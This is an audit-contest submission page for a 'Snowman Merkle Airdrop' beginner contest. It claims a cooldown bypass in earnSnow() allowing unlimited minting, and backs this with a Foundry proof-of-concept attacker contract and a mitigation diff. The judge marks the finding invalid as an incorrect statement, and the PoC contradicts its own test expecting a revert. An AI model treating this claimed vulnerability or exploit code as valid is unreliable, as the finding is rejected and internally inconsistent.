Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Unbounded Token Minting Vulnerability in earnSnow()

Root + Impact
Missing upper bound check on s_earnTimer reset logic allows users to bypass the 1-week cooldown by repeatedly calling earnSnow() in the same block.

  • Impact: Attackers can mint unlimited tokens, breaking the tokenomics (inflation, governance dilution, or reward system abuse).

Description
The function enforces a 1-week cooldown (s_earnTimer + 1 weeks) but resets s_earnTimer to block.timestamp after minting. Since block.timestamp remains constant within a single transaction, an attacker can:

  1. Call earnSnow() multiple times in one transaction (via a contract).

  2. Bypass the cooldown check each time because s_earnTimer is only updated at the end of the function.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

  • High (No specialized skills needed; exploitable in one transaction).

Impact:

  • High (Total supply inflation, governance attacks, or reward pool drainage)

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/SnowContract.sol"; // Adjust import path to your contract
contract SnowExploitTest is Test {
SnowContract public snow;
Attacker public attacker;
function setUp() public {
snow = new SnowContract();
attacker = new Attacker(snow);
}
function testUnboundedMintingExploit() public {
// Initial state check
assertEq(snow.balanceOf(address(attacker)), 0);
// Exploit: Attacker mints multiple tokens in one tx
attacker.attack();
// Verify attacker minted way more than intended (e.g., 100 tokens)
assertGt(snow.balanceOf(address(attacker)), 1);
console.log("Tokens minted:", snow.balanceOf(address(attacker)));
}
function testNormalUsageFails() public {
// First mint succeeds
snow.earnSnow();
assertEq(snow.balanceOf(address(this)), 1);
// Subsequent immediate mint fails (as expected)
vm.expectRevert("S__Timer");
snow.earnSnow();
}
}
contract Attacker {
SnowContract public target;
constructor(SnowContract _target) {
target = _target;
}
function attack() public {
// First call will pass (timer == 0 or expired)
target.earnSnow();
// Loop to mint 100 more tokens in same transaction
for (uint i = 0; i < 100; i++) {
target.earnSnow();
}
}
}

Recommended Mitigation

function earnSnow() external canFarmSnow {
+ add this code
if (s_earnTimer != 0 && block.timestamp < (s_earnTimer + 1 weeks)) {
revert S__Timer();
}
s_earnTimer = block.timestamp; // Update timer first
_mint(msg.sender, 1); // Then mint
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.